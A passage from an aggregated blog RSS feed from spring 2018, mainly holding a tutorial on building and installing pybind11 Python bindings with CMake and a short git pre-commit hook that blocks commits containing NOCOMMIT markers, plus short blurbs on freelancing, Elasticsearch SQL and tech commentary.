&lt;p&gt;&lt;a href="https://github.com/ironarachne/heraldry/releases" rel="external"&gt;Heraldry Releases&lt;/a&gt;&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Sat, 05 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2018/05/heraldry-generation-pt-3-animal-charges-and-windows-builds/</guid></item><item><title>2018-05-05/01</title><link>https://ho.dges.online/pictures/2018-05-05-01/</link><description/><author>ho.dges.online</author><pubDate>Sat, 05 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2018-05-05-01/</guid></item><item><title>2018-05-05/02</title><link>https://ho.dges.online/pictures/2018-05-05-02/</link><description/><author>ho.dges.online</author><pubDate>Sat, 05 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2018-05-05-02/</guid></item><item><title>"Making should not be anything new". But maybe it already is</title><link>https://stop.zona-m.net/2018/05/making-should-not-be-anything-new.-but-maybe-it-already-is/</link><description>&lt;p&gt;Making shouldn&amp;rsquo;t be anything new, but the maker movement is pretending otherwise. Or so they said. Are YOU sure?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 04 May 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/05/making-should-not-be-anything-new.-but-maybe-it-already-is/</guid></item><item><title>Splurge Stopper</title><link>https://www.dannyguo.com/blog/splurge-stopper</link><author>Danny Guo</author><pubDate>Fri, 04 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.dannyguo.com/blog/splurge-stopper</guid></item><item><title>Musical Update</title><link>https://rjp.is/blogging/posts/musical_update/</link><description>In which we watch/listen to eight YouTube videos of songs I quite like.</description><author>infrequent oscillations</author><pubDate>Thu, 03 May 2018 14:02:34 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/musical_update/</guid></item><item><title>The small tips about freelancing that I've learned over the years.</title><link>https://blog.samuellevy.com/post/55-the-small-tips-about-freelancing-that-ive-learned-over-the-years.html</link><description>&lt;p&gt;This was originally a post on /r/freelance over on reddit, but I'm re-posting here for posterity.&lt;/p&gt;&lt;p&gt;I've been at this for a fair while, and this is some of the wisdom that I've been told or learned, often the hard way.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;The typical full-time employee costs a company 2-3 times their nominal salary&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Use this as a basis for deciding your rate. $90/hr might sound like an expensive replacement for an employee getting paid $30/hr, but that $90 is the total cost, and stops immediately when the project ends.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;A client asking for 6+ hours in a day will cost you 8 hours&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;You will achieve nothing useful (read: bil…&lt;/p&gt;</description><author>Sam says you should read this</author><pubDate>Thu, 03 May 2018 11:16:00 GMT</pubDate><guid isPermaLink="true">https://blog.samuellevy.com/post/55-the-small-tips-about-freelancing-that-ive-learned-over-the-years.html</guid></item><item><title>Revamping a legacy backend #2</title><link>https://www.umarniz.com/revamping-a-legacy-backend-2/</link><description>In my last article I shared our approach at Sense Health to use Infrastructure as Code for creating and provisioning…</description><author>Umar Nizamani | RSS Feed</author><pubDate>Wed, 02 May 2018 22:47:19 GMT</pubDate><guid isPermaLink="true">https://www.umarniz.com/revamping-a-legacy-backend-2/</guid></item><item><title>The limits of "banning discrimination through Artificial Intelligence"</title><link>https://stop.zona-m.net/2018/05/the-limits-of-banning-discrimination-through-artificial-intelligence/</link><description>&lt;p&gt;In April 2018, the &amp;ldquo;Finnish Non-Discrimination and Equality Tribunal&amp;rdquo; prohibited &amp;ldquo;discriminatory use&amp;rdquo; of artificial intelligence. I am not sure they did the right thing.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 02 May 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/05/the-limits-of-banning-discrimination-through-artificial-intelligence/</guid></item><item><title>Using CMake, C++, and pybind11 on hard mode</title><link>https://bastian.rieck.me/blog/2018/cmake_cpp_pybind11_hard_mode/</link><description>&lt;p&gt;When writing &lt;a href="https://github.com/Pseudomanifold/Aleph"&gt;Aleph&lt;/a&gt;, my library
for persistent homology and computational topology, I decided to add a
few Python bindings one idle afternoon. Using the magnificent &lt;a href="https://github.com/pybind/pybind11"&gt;&lt;code&gt;pybind11&lt;/code&gt;
library&lt;/a&gt;, this was easier than I
anticipated. Much to my chagrin, though, it turns out that &lt;em&gt;using&lt;/em&gt; such
a bindings with Python interpreter is more complicated if you want to
do it &lt;em&gt;the right way&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Of course, having built a single &lt;code&gt;.so&lt;/code&gt; file that contains the code of
your module, the easy way is to modify the &lt;code&gt;PYTHONPATH&lt;/code&gt; variable and
just point it to the proper path. But I wanted to do this &lt;em&gt;right&lt;/em&gt;, of
course, and so, together with &lt;a href="https://maexlich.github.io"&gt;Max&lt;/a&gt;,
I started looking at ways how to simplify the build process.&lt;/p&gt;
&lt;h1 id="the-situation"&gt;The situation&lt;/h1&gt;
&lt;p&gt;I am assuming that you have installed &lt;code&gt;pybind11&lt;/code&gt; and wrote some small
example that you want to distribute now. If you are unsure about this,
please refer to &lt;a href="https://github.com/Pseudomanifold/cmake-cpp-pybind11"&gt;my example repository for this blog post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The module may look like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;pybind11/pybind11.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Example&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;Example&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;Example&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;operator&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;Example&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;_a&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;private&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;_a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;PYBIND11_MODULE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Python bindings for an example library"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pybind11&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class_&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Example&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Example"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;def&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;[](&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;            &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;              &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;Example&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;            &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;          &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;def&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;"__iadd__"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Example&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="k"&gt;operator&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pretty standard stuff so far: one class, with one constructor and one
addition operator exposed (for no particular reason whatsoever).&lt;/p&gt;
&lt;h1 id="building-everything"&gt;Building everything&lt;/h1&gt;
&lt;p&gt;Building such a module is relatively easy with CMake if you are able to
find the &lt;code&gt;pybind11&lt;/code&gt; installation (the example repository has
a ready-to-use module for this purpose). Since we want to do this the
&lt;em&gt;right&lt;/em&gt; way, we need to check whether the Python interpreter exists:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SET( PACKAGE_VERSION &amp;quot;0.1.1&amp;quot; )

FIND_PACKAGE( pybind11 REQUIRED )

FIND_PACKAGE(PythonInterp 3)
FIND_PACKAGE(PythonLibs   3)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, we can build the library using CMake. Some special treatment for
MacOS X is required (obviously) in order to link the module
properly.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;IF( PYTHONINTERP_FOUND AND PYTHONLIBS_FOUND AND PYBIND11_FOUND )
  INCLUDE_DIRECTORIES(
    ${PYTHON_INCLUDE_DIRS}
    ${PYBIND11_INCLUDE_DIRS}
  )

  ADD_LIBRARY( example SHARED example.cc )

  # The library must not have any prefix and should be located in
  # a subfolder that includes the package name. The setup will be
  # more complicated otherwise.
  SET_TARGET_PROPERTIES( example
    PROPERTIES
      PREFIX &amp;quot;&amp;quot;
      LIBRARY_OUTPUT_DIRECTORY &amp;quot;${CMAKE_CURRENT_BINARY_DIR}/example&amp;quot;
  )

  # This is required for linking the library under Mac OS X. Moreover,
  # the suffix ensures that the module can be found by the interpreter
  # later on.
  IF( APPLE )
    SET_TARGET_PROPERTIES( example
      PROPERTIES
        LINK_FLAGS &amp;quot;-undefined dynamic_lookup&amp;quot;
        SUFFIX     &amp;quot;.so&amp;quot;
    )
  ENDIF()


  # Place the initialization file in the output directory for the Python
  # bindings. This will simplify the installation.
  CONFIGURE_FILE( example/__init__.py
    ${CMAKE_CURRENT_BINARY_DIR}/example/__init__.py
  )

  # Ditto for the setup file.
  CONFIGURE_FILE( example/setup.py
    ${CMAKE_CURRENT_BINARY_DIR}/example/setup.py
  )
ENDIF()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The salient points of this snippet are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Changing the output directory of the library to a subordinate
directory. We will later see that this simplifies the installation.&lt;/li&gt;
&lt;li&gt;Configuring (and copying) &lt;code&gt;__init__.py&lt;/code&gt; and &lt;code&gt;setup.py&lt;/code&gt; files and
make them available in the build directory.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;__init__.py&lt;/code&gt; is rather short:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;.example&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This will tell the interpreter later on to import &lt;em&gt;all&lt;/em&gt; symbols from the
&lt;code&gt;example&lt;/code&gt; module in the current directory.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;setup.py&lt;/code&gt; is slightly more complicated:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;distutils.core&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;version_info&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Sorry, Python &amp;lt; 3.0 is not supported'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;name&lt;/span&gt;        &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'cmake_cpp_pybind11'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;version&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'$&lt;/span&gt;&lt;span class="si"&gt;{PACKAGE_VERSION}&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# TODO: might want to use commit ID here&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;packages&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="s1"&gt;'example'&lt;/span&gt; &lt;span class="p"&gt;],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;package_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'$&lt;/span&gt;&lt;span class="si"&gt;{CMAKE_CURRENT_BINARY_DIR}&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;package_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'example.so'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The important thing is the &lt;code&gt;package_data&lt;/code&gt; dictionary. It specifies the
single &lt;code&gt;.so&lt;/code&gt; file that is the result of the CMake build process. This
ensures that the file will be installed alongside the &lt;code&gt;__init__.py&lt;/code&gt;
file.&lt;/p&gt;
&lt;h1 id="testing-it"&gt;Testing it&lt;/h1&gt;
&lt;p&gt;First, we have to build our package:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ mkdir build
$ cd build
$ cmake ../
$ make
$ cd example
$ ls
example.so  __init__.py  setup.py
$ sudo python setup.py install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Afterwards, the package should be available for loading:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ python
Python 3.6.5 (default, Apr 12 2018, 22:45:43)
[GCC 7.3.1 20180312] on linux
Type &amp;quot;help&amp;quot;, &amp;quot;copyright&amp;quot;, &amp;quot;credits&amp;quot; or &amp;quot;license&amp;quot; for more information.
&amp;gt;&amp;gt;&amp;gt; import example
&amp;gt;&amp;gt;&amp;gt; example.Example(0.0)
&amp;lt;example.example.Example object at 0x7f54e7f77308&amp;gt;
&amp;gt;&amp;gt;&amp;gt; example.Example(&amp;quot;Nope&amp;quot;)
Traceback (most recent call last):
  File &amp;quot;&amp;lt;stdin&amp;gt;&amp;quot;, line 1, in &amp;lt;module&amp;gt;
TypeError: __init__(): incompatible constructor arguments. The following argument types are supported:
    1. example.example.Example(arg0: float)

Invoked with: 'Nope'
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Everything seems to work as expected.&lt;/p&gt;
&lt;h1 id="conclusion"&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;This is certainly not the easiest or most modern way to install your own
Python module. However, it &lt;em&gt;is&lt;/em&gt; the easiest one in case you already have
a large project that exports Python bindings.  In a truly optimal world,
we would use &lt;code&gt;setuptools&lt;/code&gt; directly and build wheel packages—but this
will have to wait for another article.&lt;/p&gt;
&lt;p&gt;In the meantime, the code for this example is &lt;a href="https://github.com/Pseudomanifold/cmake-cpp-pybind11"&gt;available on
GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Happy packaging, until next time!&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Tue, 01 May 2018 15:00:41 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2018/cmake_cpp_pybind11_hard_mode/</guid></item><item><title>Escher Bot</title><link>https://twitter.com/mauritscorneIis</link><description>Bot trying to tweet a self-linked tweet</description><author>Rodrigo Pombo</author><pubDate>Tue, 01 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://twitter.com/mauritscorneIis</guid></item><item><title>Previewing Elasticsearch 6.3 SQL Feature</title><link>/posts/2018-04-30-previewing-elasticsearch-6-3-sql-feature/</link><description>Although the decision to include X-Pack sparked some confusion and disgruntle in some people due to having non Apache licensed code being present in the repo and the distrubitions; they are easily removable if any of them is a concern to you.
SQL support was announced in ElasticON and there is a comprehensive presentation by Costin Leau. I was pretty excited about the support, because we use Elasticsearch for storing metrics and logs and it does the agggregations pretty fast.</description><author>Mustafa Akın</author><pubDate>Mon, 30 Apr 2018 23:27:19 GMT</pubDate><guid isPermaLink="true">/posts/2018-04-30-previewing-elasticsearch-6-3-sql-feature/</guid></item><item><title>Life as a Service is coming. Aren't you happy?</title><link>https://stop.zona-m.net/2018/04/life-as-a-service-is-coming.-arent-you-happy/</link><description>&lt;p&gt;Amazon is now selling&amp;hellip; something right out of a Sci-Fi movie. Nah, even better:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 30 Apr 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/life-as-a-service-is-coming.-arent-you-happy/</guid></item><item><title>Pre-commit hooks to save you from yourself</title><link>https://xenodium.com/pre-commit-hooks-to-save-you-from-yourself</link><description>&lt;p&gt;Wanted to try out some code, but needed to ensure never checked in. Git pre-commit hooks are handy in this space. Add the following script to search for either @COMMITFAIL or @NOCOMMIT in the staged files. If found, attempts to commit will fail.&lt;/p&gt;
&lt;p&gt;Based on &lt;a href="https://gist.github.com/rex/223b4be50285f6b8b3e06dea50d15887"&gt;https://gist.github.com/rex/223b4be50285f6b8b3e06dea50d15887&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;#!/bin/bash

set -o nounset
set -o errexit

echo &amp;quot;Arguments:&amp;quot;
echo &amp;quot;$@&amp;quot;
echo &amp;quot;---&amp;quot;

readonly FILES_PATTERN='(\..+)?$'
readonly FORBIDDEN='(@?NOCOMMIT|@?COMMITFAIL)'

if ( git diff --cached --name-only | grep -E &amp;quot;$FILES_PATTERN&amp;quot; | xargs grep -E --with-filename -n &amp;quot;$FORBIDDEN&amp;quot; ); then
  echo &amp;quot;ERROR: @COMMITFAIL or @NOCOMMIT found. Exiting to save you from yourself.&amp;quot;
  exit 1
fi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save to a file and create a symbolic link to your .git/hooks directory:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;ln -s ../../git/commit-fail-pre-hook.sh .git/hooks/pre-commit
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 30 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/pre-commit-hooks-to-save-you-from-yourself</guid></item><item><title>Who gives Facebook data about non-Facebook users?</title><link>https://stop.zona-m.net/2018/04/who-gives-facebook-data-about-non-facebook-users/</link><description>&lt;p&gt;There is a lot of talking these days about Facebook getting data about people who are not on Facebook, but not enough on WHO gives Facebook those data.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 29 Apr 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/who-gives-facebook-data-about-non-facebook-users/</guid></item><item><title>Art Saturday: Evolution of an idea</title><link>http://michaelhoney.com/writing/2018/4/29/art-saturday-evolution-of-an-idea</link><description>&lt;a class="
                    image-slide-anchor
                    
                      js-gallery-lightbox-opener
                    
                    content-fill
                  " href="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1524984796845-VFO37N5QGF8Z3MUEHZJY/1000-2018428-16-57-15.jpg"&gt;
                  
                    &lt;span class="v6-visually-hidden"&gt;View fullsize&lt;/span&gt;
                  
